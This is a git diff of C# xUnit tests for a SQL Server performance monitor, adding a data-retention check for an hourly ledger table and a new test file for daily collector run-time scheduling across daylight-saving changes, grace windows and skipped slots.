@@ -344,6 +388,7 @@ public async Task RunPlanDimBatch_RetriesA57014Cancel_WhenNoShutdownIsPending()
             },
             cap: 1_000,
             floorCap: 100,
+            tableName: "query_plan_dim",
             CancellationToken.None);
 
         Assert.Equal(2, attempts);
@@ -370,6 +415,7 @@ await Assert.ThrowsAsync<NpgsqlException>(() => DarlingRetention.RunPlanDimBatch
             },
             cap: 1_000,
             floorCap: 1_000,
+            tableName: "query_plan_dim",
             CancellationToken.None));
 
         Assert.Equal(1, attempts);
@@ -397,6 +443,7 @@ await Assert.ThrowsAsync<PostgresException>(() => DarlingRetention.RunPlanDimBat
             },
             cap: 25_000,
             floorCap: 1_000,
+            tableName: "query_plan_dim",
             shutdown.Token));
 
         Assert.Equal(1, attempts);
@@ -554,7 +601,7 @@ public async Task EndToEnd_PurgeDeletesExpiredRowsAndKeepsFreshOnes_AgainstDevPo
         try
         {
             /* All timestamps Kind-Unspecified — naive-UTC storage, see PgCollectorRowWriter. */
-            var utcNow = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+            var utcNow = LiveClock.Now();
 
             /* wait_stats retention is 30 days: one row well past it, one fresh. Payload columns
                are nullable, so the standard prefix is enough. */
@@ -683,6 +730,24 @@ than silently claim to be the bot. This raw INSERT is exactly the shape that wou
                 await insert.ExecuteNonQueryAsync(ct);
             }
 
+            /* #4605: collect.query_stats_hour_ledger is pruned at the SUCCESSOR HOURLY ROLLUP's horizon (90 days,
+               TimescaleSupport.HourlyRetentionSpan), not raw's four days and not a collector's 30. The ages
+               DISCRIMINATE that: a 100-day bucket is past it and goes, an 80-day bucket SURVIVES although it is past
+               raw's horizon and past the 30-day base and 60-day log horizons (so this fails if the prune is wired
+               to raw's or a collector's retention), and a bucket from the last hour survives. Whole hours, as the
+               writer's date_trunc leaves them. */
+            foreach (var ageDays in new[] { 100.0, 80.0, 1.0 / 24 })
+            {
+                using var insert = new NpgsqlCommand(
+                    "INSERT INTO collect.query_stats_hour_ledger (server_id, server_name, bucket, n)"
+                    + " VALUES ($1, $2, date_trunc('hour', $3::timestamp), $4)", connection);
+                insert.Parameters.AddWithValue(TestServerId);
+                insert.Parameters.AddWithValue("retention-e2e");
+                insert.Parameters.AddWithValue(utcNow.AddDays(-ageDays));
+                insert.Parameters.AddWithValue(7L);
+                await insert.ExecuteNonQueryAsync(ct);
+            }
+
             /* At least our three expired rows go (40-day wait_stats, 70-day collection_log, 100-day
                config_alert_log); a shared dev store may shed more. The extension-free DELETE path on purpose
                (timescaleAvailable: false) — it must keep working even on a store whose tables ARE hypertables,
@@ -765,6 +830,30 @@ than silently claim to be the bot. This raw INSERT is exactly the shape that wou
                     $"the 400-day plan_force_actions row survived past the 365-day horizon; {purgeLog.Joined}");
             }
 
+            /* #4605: the ledger's survivors are exactly the 80-day and the last-hour bucket. The 100-day one is
+               past the successor hourly rollup's 90-day horizon and goes; the 80-day one is inside it, so it
+               staying proves the horizon is the rollup's and not raw's (4 days) or a collector's (30). */
+            using (var read = new NpgsqlCommand(
+                "SELECT bucket, n FROM collect.query_stats_hour_ledger WHERE server_id = $1 ORDER BY bucket", connection))
+            {
+                read.Parameters.AddWithValue(TestServerId);
+                using var reader = await read.ExecuteReaderAsync(ct);
+
+                var survivors = new List<(DateTime Bucket, long N)>();
+                while (await reader.ReadAsync(ct))
+                {
+                    survivors.Add((reader.GetDateTime(0), reader.GetInt64(1)));
+                }
+
+                Assert.True(survivors.Count == 2,
+                    $"expected the 80-day and the last-hour ledger bucket to survive, got {survivors.Count} bucket(s) ({string.Join(", ", survivors.Select(s => $"{s.Bucket:O}"))}); {purgeLog.Joined}");
+                Assert.True(survivors[0].Bucket < utcNow.AddDays(-79) && survivors[0].Bucket > utcNow.AddDays(-81),
+                    $"the older surviving ledger bucket should be the 80-day one, got {survivors[0].Bucket:O}; {purgeLog.Joined}");
+                Assert.True(survivors[1].Bucket > utcNow.AddDays(-1),
+                    $"the newer surviving ledger bucket should be the last-hour one, got {survivors[1].Bucket:O}; {purgeLog.Joined}");
+                Assert.All(survivors, s => Assert.Equal(7L, s.N));
+            }
+
             /* The purge writes ONE auditable run-record under the fleet sentinel server_id — SUCCESS here
                (every table purged cleanly on this store). Never attributed to a real monitored server. */
             using (var read = new NpgsqlCommand(
@@ -816,7 +905,7 @@ exercised on every run. */
         var bodySucceeded = false;
         try
         {
-            var utcNow = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+            var utcNow = LiveClock.Now();
 
             using (var insert = new NpgsqlCommand(
                 "INSERT INTO wait_stats (collection_id, collection_time, server_id, server_name) VALUES ($1, $2, $3, $4)", connection))
@@ -933,6 +1022,7 @@ private static async Task DeleteTestRowsAsync(NpgsqlConnection connection, Cance
             $"DELETE FROM config_alert_log WHERE server_id = {TestServerId}; " +
             $"DELETE FROM config.config_command WHERE target_server_id = {TestServerId}; " +
             $"DELETE FROM collect.plan_force_actions WHERE server_id = {TestServerId}; " +
+            $"DELETE FROM collect.query_stats_hour_ledger WHERE server_id = {TestServerId}; " +
             $"DELETE FROM collection_log WHERE server_id = {DarlingObservability.FleetServerId} AND collector_name = 'data_retention';",
             connection);
         await cleanup.ExecuteNonQueryAsync(ct);
@@ -1142,9 +1232,11 @@ public void LivenessTouchedTablePruneRowCap_ClearsTheBusiestObservedDayInOneBatc
     }
 
     /// <summary>
-    /// Only the plan dimension is capped. <c>query_text_dim</c> is ~40 MB in total and drains in a single
-    /// slice, and the fact tables need the compressed-chunk-safe shape that the <c>ctid</c> idiom cannot
-    /// provide (#1564) — so the row cap is scoped to the one table whose rows are large enough to matter.
+    /// Among the payload DIMENSION tables only the plan dimension is capped. <c>query_text_dim</c> is ~40 MB in
+    /// total and drains in a single slice, so the row cap is scoped to the one dimension whose rows are large
+    /// enough to matter. (The two Query Store interval fact tables are row-capped too since #5569, because they
+    /// are plain heaps where the <c>ctid</c> idiom is safe; <c>QueryStoreIntervalPurgeRowCappedTests</c> pins
+    /// that. The fact tables that stay time-sliced need the compressed-chunk-safe shape, #1564.)
     /// </summary>
     [Fact]
     public void OnlyThePlanDim_TakesTheRowCap()
diff --git a/Darling/Darling.Tests/DarlingRunTimeSchedulingTests.cs b/Darling/Darling.Tests/DarlingRunTimeSchedulingTests.cs
new file mode 100644
index 0000000000..b67b1ad197
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingRunTimeSchedulingTests.cs
@@ -0,0 +1,708 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging.Abstractions;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4938: the worker runs a daily collector that has a run time at its slot. The slot is the run time on the server's
+/// clock plus the server's spread, one a day, and a run starts from the slot until an hour after it. These cases pin the
+/// seed (<see cref="DarlingWorker.ComputeSeededNextDue"/>), the pass's decision (<see cref="DarlingWorker.StepRunTimeCollector"/>)
+/// across daylight-saving changes, a fixed offset and an unknown clock, the clamp's room for a 25-hour stamp, the skipped-slot
+/// count, and a schedule reload, with no store. A collector with no run time keeps every rule it had, which the existing
+/// schedule tests (unchanged) pin.
+/// </summary>
+public sealed class DarlingRunTimeSchedulingTests
+{
+    private const int TwoAm = 120;
+    private const int Daily = 1440;
+    private const string Collector = "index_object_stats";
+    private static readonly TimeSpan Jitter = TimeSpan.FromSeconds(90);
+
+    private static DateTime Utc(int year, int month, int day, int hour = 0, int minute = 0) =>
+        new(year, month, day, hour, minute, 0, DateTimeKind.Utc);
+
+    private static DarlingWorker.RunTimeRule UtcRule(int runAt = TwoAm, int serverId = 0) =>
+        new(runAt, serverId, CollectorRunTime.LocalIsUtc);
+
+    private static DarlingWorker.RunTimeRule EasternRule(int serverId = 0) =>
+        new(TwoAm, serverId, ServerClock.Resolve("America/New_York", -300).ToUtc);
+
+    /* ---- the seed: with a run time every row is the slot, and now + jitter only inside the hour after it ---- */
+
+    [Fact]
+    public void Seed_NeverRun_OutsideTheGrace_WaitsForTheNextSlot()
+    {
+        var now = Utc(2026, 10, 2, 12);
+        Assert.Equal(Utc(2026, 10, 3, 2), DarlingWorker.ComputeSeededNextDue(null, Daily, now, Jitter, UtcRule()));
+        Assert.Equal(now + Jitter, DarlingWorker.ComputeSeededNextDue(null, Daily, now, Jitter));
+    }
+
+    [Fact]
+    public void Seed_Overdue_OutsideTheGrace_WaitsForTheNextSlot()
+    {
+        var now = Utc(2026, 10, 2, 12);
+        var lastRun = Utc(2026, 9, 30, 2, 5);
+        Assert.Equal(Utc(2026, 10, 3, 2), DarlingWorker.ComputeSeededNextDue(lastRun, Daily, now, Jitter, UtcRule()));
+        Assert.Equal(now + Jitter, DarlingWorker.ComputeSeededNextDue(lastRun, Daily, now, Jitter));
+    }
+
+    [Fact]
+    public void Seed_Overdue_InsideTheGrace_RunsNowPlusTheSeedJitter()
+    {
+        var now = Utc(2026, 10, 2, 2, 30);
+        var lastRun = Utc(2026, 10, 1, 2, 5);
+        Assert.Equal(now + Jitter, DarlingWorker.ComputeSeededNextDue(lastRun, Daily, now, Jitter, UtcRule()));
+        Assert.Equal(now + Jitter, DarlingWorker.ComputeSeededNextDue(null, Daily, now, Jitter, UtcRule()));
+    }
+
+    [Fact]
+    public void Seed_RanToday_WaitsForTheNextSlot_NotLastRunPlusTheInterval()
+    {
+        var now = Utc(2026, 10, 2, 12);
+        var lastRun = Utc(2026, 10, 2, 2, 10);
+        Assert.Equal(Utc(2026, 10, 3, 2), DarlingWorker.ComputeSeededNextDue(lastRun, Daily, now, Jitter, UtcRule()));
+        Assert.Equal(lastRun.AddMinutes(Daily), DarlingWorker.ComputeSeededNextDue(lastRun, Daily, now, Jitter));
+    }
+
+    [Fact]
+    public void Seed_AddsTheServersSpreadToTheSlot()
+    {
+        /* Server id 1800 spreads by 30 minutes. */
+        var now = Utc(2026, 10, 2, 12);
+        Assert.Equal(Utc(2026, 10, 3, 2, 30), DarlingWorker.ComputeSeededNextDue(null, Daily, now, Jitter, UtcRule(TwoAm, 1800)));
+    }
+
+    /* ---- the advance: the next stamp is the next day's slot on the server's clock, not the stamp plus 1440 ---- */
+
+    [Fact]
+    public void Advance_OnTheSpringForwardDay_Is0200LocalTheNextDay_NotThePlus1440Hour()
+    {
+        /* 02:00 on 2026-03-08 is inside the US Eastern gap, so it reads 03:00 EDT (07:00Z); the 9th is 02:00 EDT (06:00Z).
+           The stamp plus 1440 minutes would be 07:00Z, an hour late. */
+        var due = Utc(2026, 3, 8, 7);
+        var step = DarlingWorker.StepRunTimeCollector(due, due.AddMinutes(10), DateTime.MinValue, Daily, EasternRule(), Jitter);
+        Assert.Equal(DarlingWorker.RunTimeAction.HandOff, step.Action);
+        Assert.Equal(Utc(2026, 3, 9, 6), step.NextDue);
+        Assert.NotEqual(due.AddMinutes(Daily), step.NextDue);
+    }
+
+    [Fact]
+    public void Advance_OnTheFallBackDay_Is0200LocalTheNextDay_NotThePlus1440Hour()
+    {
+        /* 02:00 EDT on 10-31 is 06:00Z; 02:00 EST on 11-01 is 07:00Z, 25 hours later. The stamp plus 1440 minutes would be
+           06:00Z, which is 01:00 EST. */
+        var due = Utc(2026, 10, 31, 6);
+        var step = DarlingWorker.StepRunTimeCollector(due, due.AddMinutes(10), DateTime.MinValue, Daily, EasternRule(), Jitter);
+        Assert.Equal(DarlingWorker.RunTimeAction.HandOff, step.Action);
+        Assert.Equal(Utc(2026, 11, 1, 7), step.NextDue);
+        Assert.NotEqual(due.AddMinutes(Daily), step.NextDue);
+    }
+
+    [Fact]
+    public void Advance_OnAFixedOffsetClockAndAnUnknownClock_KeepsTheLocalTime()
+    {
+        var india = new DarlingWorker.RunTimeRule(TwoAm, 0, ServerClock.FixedOffset(330).ToUtc);
+        var indiaDue = Utc(2026, 10, 2, 20, 30);
+        var indiaStep = DarlingWorker.StepRunTimeCollector(indiaDue, indiaDue.AddMinutes(10), DateTime.MinValue, Daily, india, Jitter);
+        Assert.Equal(Utc(2026, 10, 3, 20, 30), indiaStep.NextDue);
+
+        var unknownDue = Utc(2026, 10, 2, 2);
+        var unknownStep = DarlingWorker.StepRunTimeCollector(unknownDue, unknownDue.AddMinutes(10), DateTime.MinValue, Daily, UtcRule(), Jitter);
+        Assert.Equal(Utc(2026, 10, 3, 2), unknownStep.NextDue);
+    }
+
+    /* ---- the clamp: a run-time stamp can sit a day and two hours ahead ---- */
+
+    [Fact]
+    public void ClampDue_A25HourStamp_IsAWait_NotAClockStep()
+    {
+        var now = Utc(2026, 11, 1, 12);
+        var stamp = now.AddHours(25);
+        var step = DarlingWorker.StepRunTimeCollector(stamp, now, DateTime.MinValue, Daily, UtcRule(), Jitter);
+        Assert.Equal(DarlingWorker.RunTimeAction.NotDue, step.Action);
+        Assert.Equal(stamp, step.NextDue);
+
+        /* The plain interval would read the same stamp as a clock that stepped back, and run it at once. */
+        Assert.Equal(now, CollectorCadence.ClampDue(stamp, now, TimeSpan.FromMinutes(Daily)));
+
+        /* A stamp past the room (a day, an hour of spread and an hour of autumn) is still a clock step. */
+        var past = DarlingWorker.StepRunTimeCollector(now.AddHours(27), now, DateTime.MinValue, Daily, UtcRule(), Jitter);
+        Assert.Equal(DarlingWorker.RunTimeAction.HandOff, past.Action);
+    }
+
+    /* ---- skipped slots: a day lost while the loop ran counts 1, a day lost to a sleep or a stop counts 0 ---- */
+
+    [Fact]
+    public void Skip_PastTheGrace_NeverHandsOff_AndCountsOneWhenTheLoopWasRunning()
+    {
+        var due = Utc(2026, 10, 2, 2);
+        var now = due.AddMinutes(61);
+        var step = DarlingWorker.StepRunTimeCollector(due, now, DateTime.MinValue, Daily, UtcRule(), Jitter);
+        Assert.Equal(DarlingWorker.RunTimeAction.SkipDay, step.Action);
+        Assert.Equal(1, step.Skipped);
+        Assert.Equal(Utc(2026, 10, 3, 2), step.NextDue);
+
+        /* Exactly an hour after the slot is still inside the grace. */
+        Assert.Equal(DarlingWorker.RunTimeAction.HandOff,
+            DarlingWorker.StepRunTimeCollector(due, due.AddMinutes(60), DateTime.MinValue, Daily, UtcRule(), Jitter).Action);
+    }
+
+    [Fact]
+    public void Skip_AfterASleepOrAStoppedService_CountsZero()
+    {
+        var due = Utc(2026, 10, 2, 2);
+        var now = due.AddHours(6);
+        var step = DarlingWorker.StepRunTimeCollector(due, now, now, Daily, UtcRule(), Jitter);
+        Assert.Equal(DarlingWorker.RunTimeAction.SkipDay, step.Action);
+        Assert.Equal(0, step.Skipped);
+    }
+
+    /* ---- the pass and the reload, on a worker with no store ---- */
+
+    private static DarlingWorker MakeWorker(params ScheduleOverride[] overrides) =>
+        new(
+            NullLogger<DarlingWorker>.Instance,
+            NullLoggerFactory.Instance,
+            new McpRuntimeState(),
+            new WebRuntimeState(),
+            new MonitoredServerRegistryState(),
+            new CollectorRuntimeState(),
+            new WebTlsCertificateState(),
+            new BaselineCache(),
+            new ReadLatencyAccumulator())
+        {
+            ScheduleOverridesForTest = overrides,
+        };
+
+    private static DarlingWorker.ServerLoopState MakeServer(int serverId)
+    {
+        var host = $"run-time-test-{serverId}";
+        var config = new MonitoredServer { Name = host, Host = host };
+        var runtime = new ServerRuntime
+        {
+            Config = config,
+            ConnectionString = $"Server=tcp:{host},1433;Initial Catalog=master;Encrypt=True",
+            Target = new CollectorTargetInfo(),
+            StorageName = host,
+            ServerId = serverId,
+        };
+        return new DarlingWorker.ServerLoopState { Config = config, Runtime = runtime };
+    }
+
+    /* A run time about twelve hours from now: far from both edges of the grace, so a test that takes a second still lands
+       on the same slot. */
+    private static int RunTimeTwelveHoursAway() => (int)((DateTime.UtcNow.TimeOfDay.TotalMinutes + 12 * 60) % Daily);
+
+    private static ScheduleOverride FleetRunTime(string collector, int? runAt, int? frequency = null) =>
+        new(null, collector, frequency, null, true, null, runAt);
+
+    [Fact]
+    public async Task Pass_AHandOffPastTheGrace_RunsNothing_CountsOneSkippedSlot_AndMovesToTheNextSlot()
+    {
+        var runAt = RunTimeTwelveHoursAway();
+        var worker = MakeWorker(FleetRunTime(Collector, runAt));
+        var started = 0;
+        worker.RunOneBodyOverride = (_, _, _, _) =>
+        {
+            Interlocked.Increment(ref started);
+            return Task.FromResult(1);
+        };
+        var server = MakeServer(0);
+        var now = DateTime.UtcNow;
+        server.NextDue[Collector] = now.AddMinutes(-90);
+        server.RunTimeSlots[Collector] = new DarlingWorker.RunTimeSlot(runAt, Daily, server.Clock.Id, null);
+
+        await worker.RunDueCollectorsAsync(server, null!, TestContext.Current.CancellationToken);
+
+        Assert.Equal(0, Volatile.Read(ref started));
+        Assert.True(server.NextDue[Collector] > now.AddHours(10), "the stamp moves to the next slot, hours away");
+        var snapshot = worker.FleetGateStatsForTest!.Snapshot();
+        Assert.Equal(1, snapshot.Skipped);
+        Assert.Equal(0, snapshot.Run);
+    }
+
+    [Fact]
+    public async Task Pass_ADayLostWhileTheServiceWasDown_CountsZero()
+    {
+        var runAt = RunTimeTwelveHoursAway();
+        var worker = MakeWorker(FleetRunTime(Collector, runAt));
+        var started = 0;
+        worker.RunOneBodyOverride = (_, _, _, _) =>
+        {
+            Interlocked.Increment(ref started);
+            return Task.FromResult(1);
+        };
+        worker.SkipCreditFloorForTest.Resume(DateTime.UtcNow);
+        var server = MakeServer(0);
+        server.NextDue[Collector] = DateTime.UtcNow.AddMinutes(-90);
+        server.RunTimeSlots[Collector] = new DarlingWorker.RunTimeSlot(runAt, Daily, server.Clock.Id, null);
+
+        await worker.RunDueCollectorsAsync(server, null!, TestContext.Current.CancellationToken);
+
+        /* The day is still not replayed: nothing is handed off, and the loss is not the gate's, so nothing is counted. */
+        Assert.Equal(0, Volatile.Read(ref started));
+        Assert.Equal(0, worker.FleetGateStatsForTest!.Snapshot().Skipped);
+        Assert.Equal(0, worker.FleetGateStatsForTest!.Snapshot().Run);
+    }
+
+    [Fact]
+    public async Task Pass_InsideTheGrace_HandsTheRunOff_AndAdvancesToTheNextDaysSlot()
+    {
+        var runAt = RunTimeTwelveHoursAway();
+        var worker = MakeWorker(FleetRunTime(Collector, runAt));
+        var started = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        worker.RunOneBodyOverride = (_, _, _, _) =>
+        {
+            started.TrySetResult();
+            return Task.FromResult(1);
+        };
+        var server = MakeServer(0);
+        var now = DateTime.UtcNow;
+        server.NextDue[Collector] = now.AddMinutes(-5);
+        server.RunTimeSlots[Collector] = new DarlingWorker.RunTimeSlot(runAt, Daily, server.Clock.Id, null);
+
+        await worker.RunDueCollectorsAsync(server, null!, TestContext.Current.CancellationToken);
+
+        Assert.True(await Task.WhenAny(started.Task, Task.Delay(TimeSpan.FromSeconds(5))) == started.Task, "the run was handed off");
+        Assert.True(server.NextDue[Collector] > now.AddHours(10), "the next stamp is a slot, not the stamp plus the interval");
+        Assert.NotNull(server.RunTimeSlots[Collector].LastRunUtc);
+    }
+
+    [Fact]
+    public async Task Pass_WhileYesterdaysRunStillHoldsTheSlot_DoesNotCountTodayAsRun_AndRetriesInsideTheGrace()
+    {
+        var runAt = RunTimeTwelveHoursAway();
+        var worker = MakeWorker(FleetRunTime(Collector, runAt));
+        var started = 0;
+        var release = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        worker.RunOneBodyOverride = async (_, _, _, _) =>
+        {
+            Interlocked.Increment(ref started);
+            await release.Task;
+            return 1;
+        };
+        var server = MakeServer(0);
+        var ct = TestContext.Current.CancellationToken;
+        server.NextDue[Collector] = DateTime.UtcNow.AddMinutes(-5);
+        server.RunTimeSlots[Collector] = new DarlingWorker.RunTimeSlot(runAt, Daily, server.Clock.Id, null);
+        try
+        {
+            /* Yesterday's run: handed off, it takes the slot and holds it (the fleet cap, or a long run). */
+            await worker.RunDueCollectorsAsync(server, null!, ct);
+            Assert.True(await BecomesTrueAsync(() => Volatile.Read(ref started) == 1), "yesterday's run took the slot");
+            Assert.Equal(1, worker.FleetGateStatsForTest!.Snapshot().Run);
+
+            /* Today's slot comes due with that run still going. */
+            var yesterday = DateTime.UtcNow.AddDays(-1);
+            var due = DateTime.UtcNow.AddMinutes(-5);
+            server.NextDue[Collector] = due;
+            server.RunTimeSlots[Collector] = server.RunTimeSlots[Collector] with { LastRunUtc = yesterday };
+
+            await worker.RunDueCollectorsAsync(server, null!, ct);
+            await Task.Delay(200, ct);
+
+            Assert.Equal(1, Volatile.Read(ref started));
+            Assert.Equal(1, worker.FleetGateStatsForTest!.Snapshot().Run);
+            Assert.Equal(due, server.NextDue[Collector]);
+            Assert.Equal(yesterday, server.RunTimeSlots[Collector].LastRunUtc);
+        }
+        finally
+        {
+            release.TrySetResult();
+            await Task.WhenAll(worker.InFlightDetachedRuns);
+        }
+
+        /* Once the slot is free, the next tick inside the grace hands today's run off and only then counts it. */
+        await worker.RunDueCollectorsAsync(server, null!, ct);
+        Assert.True(await BecomesTrueAsync(() => Volatile.Read(ref started) == 2), "today's run took the slot");
+        Assert.True(await BecomesTrueAsync(() => worker.FleetGateStatsForTest!.Snapshot().Run == 2), "today counts once it took the slot");
+        Assert.True(server.NextDue[Collector] > DateTime.UtcNow.AddHours(10), "and the stamp moves to the next slot");
+        Assert.True(server.RunTimeSlots[Collector].LastRunUtc > DateTime.UtcNow.AddMinutes(-1));
+    }
+
+    [Fact]
+    public async Task Pass_WhileYesterdaysRunStillHoldsTheSlot_PastTheGrace_CountsOneSkippedSlot()
+    {
+        var runAt = RunTimeTwelveHoursAway();
+        var worker = MakeWorker(FleetRunTime(Collector, runAt));
+        var release = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        worker.RunOneBodyOverride = async (_, _, _, _) =>
+        {
+            await release.Task;
+            return 1;
+        };
+        var server = MakeServer(0);
+        var ct = TestContext.Current.CancellationToken;
+        server.NextDue[Collector] = DateTime.UtcNow.AddMinutes(-5);
+        server.RunTimeSlots[Collector] = new DarlingWorker.RunTimeSlot(runAt, Daily, server.Clock.Id, null);
+        try
+        {
+            await worker.RunDueCollectorsAsync(server, null!, ct);
+            Assert.True(await BecomesTrueAsync(() => worker.InFlightDetachedRuns.Count == 1));
+
+            server.NextDue[Collector] = DateTime.UtcNow.AddMinutes(-90);
+            await worker.RunDueCollectorsAsync(server, null!, ct);
+
+            var snapshot = worker.FleetGateStatsForTest!.Snapshot();
+            Assert.Equal(1, snapshot.Run);
+            Assert.Equal(1, snapshot.Skipped);
+            Assert.True(server.NextDue[Collector] > DateTime.UtcNow.AddHours(10), "past the grace the stamp moves to the next slot");
+        }
+        finally
+        {
+            release.TrySetResult();
+            await Task.WhenAll(worker.InFlightDetachedRuns);
+        }
+    }
+
+    /* The at-connect run of an on-load collector that has a run time: the connect seeds its slot, and the run at connect
+       counts as the day's run only when it succeeded. */
+
+    private const string OnLoadCollector = "server_config";
+
+    private static int RunTimeTenMinutesAgo() => (int)((DateTime.UtcNow.TimeOfDay.TotalMinutes - 10 + Daily) % Daily);
+
+    [Fact]
+    public async Task OnLoadSeed_AfterAFailedRunAtConnect_LeavesTheSlotDueInsideTheGrace()
+    {
+        var runAt = RunTimeTenMinutesAgo();
+        var worker = MakeWorker(FleetRunTime(OnLoadCollector, runAt));
+        worker.RunOneBodyOverride = (_, _, _, _) => Task.FromResult(-1);
+        var server = MakeServer(0);
+        var effective = StoreConfigProvider.ResolveSchedule(OnLoadCollector, 0, worker.ScheduleOverridesForTest);
+
+        var ran = await worker.RunOnLoadAsync(server, null!, OnLoadCollector, 0, effective, TestContext.Current.CancellationToken);
+        worker.SeedOnLoadRunTime(server, OnLoadCollector, 0, runAt, Daily, ran, null);
+
+        Assert.False(ran);
+        Assert.Null(server.RunTimeSlots[OnLoadCollector].LastRunUtc);
+        Assert.True(server.NextDue[OnLoadCollector] < DateTime.UtcNow.AddMinutes(5), "today's slot is still owed: the next tick hands it off");
+    }
+
+    [Fact]
+    public async Task OnLoadSeed_AfterASuccessfulRunAtConnect_CountsTodayAsServed()
+    {
+        var runAt = RunTimeTenMinutesAgo();
+        var worker = MakeWorker(FleetRunTime(OnLoadCollector, runAt));
+        worker.RunOneBodyOverride = (_, _, _, _) => Task.FromResult(0);
+        var server = MakeServer(0);
+        var effective = StoreConfigProvider.ResolveSchedule(OnLoadCollector, 0, worker.ScheduleOverridesForTest);
+
+        var ran = await worker.RunOnLoadAsync(server, null!, OnLoadCollector, 0, effective, TestContext.Current.CancellationToken);
+        worker.SeedOnLoadRunTime(server, OnLoadCollector, 0, runAt, Daily, ran, null);
+
+        Assert.True(ran);
+        Assert.NotNull(server.RunTimeSlots[OnLoadCollector].LastRunUtc);
+        Assert.True(server.NextDue[OnLoadCollector] > DateTime.UtcNow.AddHours(10), "served: the next slot is tomorrow's");
+    }
+
+    [Fact]
+    public void TheAtConnectLoop_SeedsTheRunTimeSlotFromTheOutcomeOfTheRunAtConnect()
+    {
+        var worker = RepoFile.ReadRepoFile("Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs").ReplaceLineEndings("\n");
+
+        Assert.Contains("var ranAtConnect = await RunOnLoadAsync(server, runner, name, serverId, effective, cancellationToken);", worker, StringComparison.Ordinal);
+        Assert.Contains("SeedOnLoadRunTime(server, name, serverId, onLoadRunAt, onLoadInterval, ranAtConnect, onLoadLastRun);", worker, StringComparison.Ordinal);
+    }
+
+    private static async Task<bool> BecomesTrueAsync(Func<bool> condition)
+    {
+        var deadline = DateTime.UtcNow.AddSeconds(5);
+        while (DateTime.UtcNow < deadline)
+        {
+            if (condition())
+            {
+                return true;
+            }
+
+            await Task.Delay(20, TestContext.Current.CancellationToken);
+        }
+
+        return condition();
+    }
+
+    [Fact]
+    public async Task Pass_ANewClock_ComputesTheSlotAgainFromTheLastRun()
+    {
+        var runAt = RunTimeTwelveHoursAway();
+        var worker = MakeWorker(FleetRunTime(Collector, runAt));
+        var server = MakeServer(0);
+        var lastRun = DateTime.UtcNow.AddHours(-1);
+        server.NextDue[Collector] = DateTime.UtcNow.AddHours(5);
+        server.RunTimeSlots[Collector] = new DarlingWorker.RunTimeSlot(runAt, Daily, "a clock that is no longer the server's", lastRun);
+
+        await worker.RunDueCollectorsAsync(server, null!, TestContext.Current.CancellationToken);
+
+        var expected = CollectorRunTime.NextDue(DateTime.UtcNow, lastRun, runAt, Daily, 0, CollectorRunTime.LocalIsUtc);
+        Assert.Equal(expected, server.NextDue[Collector]);
+        Assert.Equal(server.Clock.Id, server.RunTimeSlots[Collector].ClockId);
+    }
+
+    [Fact]
+    public async Task Reload_AnEditToAnotherRow_KeepsARunTimeStamp()
+    {
+        var runAt = RunTimeTwelveHoursAway();
+        var worker = MakeWorker(FleetRunTime(Collector, runAt), FleetRunTime("wait_stats", null, frequency: 2));
+        var server = MakeServer(0);
+        var stamp = DateTime.UtcNow.AddMinutes(25 * 60);
+        server.NextDue[Collector] = stamp;
+        server.RunTimeSlots[Collector] = new DarlingWorker.RunTimeSlot(runAt, Daily, server.Clock.Id, null);
+
+        await worker.RecomputeNextDueAsync([server], TestContext.Current.CancellationToken);
+
+        Assert.Equal(stamp, server.NextDue[Collector]);
+    }
+
+    [Fact]
+    public async Task Reload_SettingARunTime_ComputesTheSlotAgain_AndClearingItReturnsToTheOldRule()
+    {
+        var runAt = RunTimeTwelveHoursAway();
+        var worker = MakeWorker(FleetRunTime(Collector, runAt));
+        var server = MakeServer(0);
+        server.NextDue[Collector] = DateTime.UtcNow.AddMinutes(30);
+
+        await worker.RecomputeNextDueAsync([server], TestContext.Current.CancellationToken);
+
+        var slot = CollectorRunTime.NextDue(DateTime.UtcNow, null, runAt, Daily, 0, CollectorRunTime.LocalIsUtc);
+        Assert.Equal(slot, server.NextDue[Collector]);
+        Assert.Equal(runAt, server.RunTimeSlots[Collector].RunAtMinute);
+
+        /* Changing it computes it again. */
+        var otherRunAt = (runAt + 120) % Daily;
+        worker.ScheduleOverridesForTest = [FleetRunTime(Collector, otherRunAt)];
+        await worker.RecomputeNextDueAsync([server], TestContext.Current.CancellationToken);
+        Assert.Equal(CollectorRunTime.NextDue(DateTime.UtcNow, null, otherRunAt, Daily, 0, CollectorRunTime.LocalIsUtc), server.NextDue[Collector]);
+
+        /* Clearing it (a -1 on the fleet row) returns to the rule it had without one: the last run plus the interval. */
+        var lastRun = DateTime.UtcNow.AddHours(-3);
+        server.RunTimeSlots[Collector] = server.RunTimeSlots[Collector] with { LastRunUtc = lastRun };
+        worker.ScheduleOverridesForTest = [FleetRunTime(Collector, -1)];
+        await worker.RecomputeNextDueAsync([server], TestContext.Current.CancellationToken);
+        Assert.Equal(lastRun.AddMinutes(Daily), server.NextDue[Collector]);
+        Assert.False(server.RunTimeSlots.ContainsKey(Collector));
+    }
+
+    /* ---- a run recorded while a reload is reading the watermarks (#5033) ---- */
+
+    [Fact]
+    public async Task Reload_ARunRecordedDuringTheWatermarkRead_KeepsTheRunsLastRun_Changed()
+    {
+        var runAt = RunTimeTenMinutesAgo();
+        var oldRunAt = (runAt + 120) % Daily;
+        var worker = MakeWorker(FleetRunTime(Collector, oldRunAt));
+        var server = MakeServer(0);
+        server.NextDue[Collector] = DateTime.UtcNow.AddHours(5);
+        server.RunTimeSlots[Collector] = new DarlingWorker.RunTimeSlot(oldRunAt, Daily, server.Clock.Id, null);
+        worker.ScheduleOverridesForTest = [FleetRunTime(Collector, runAt)];
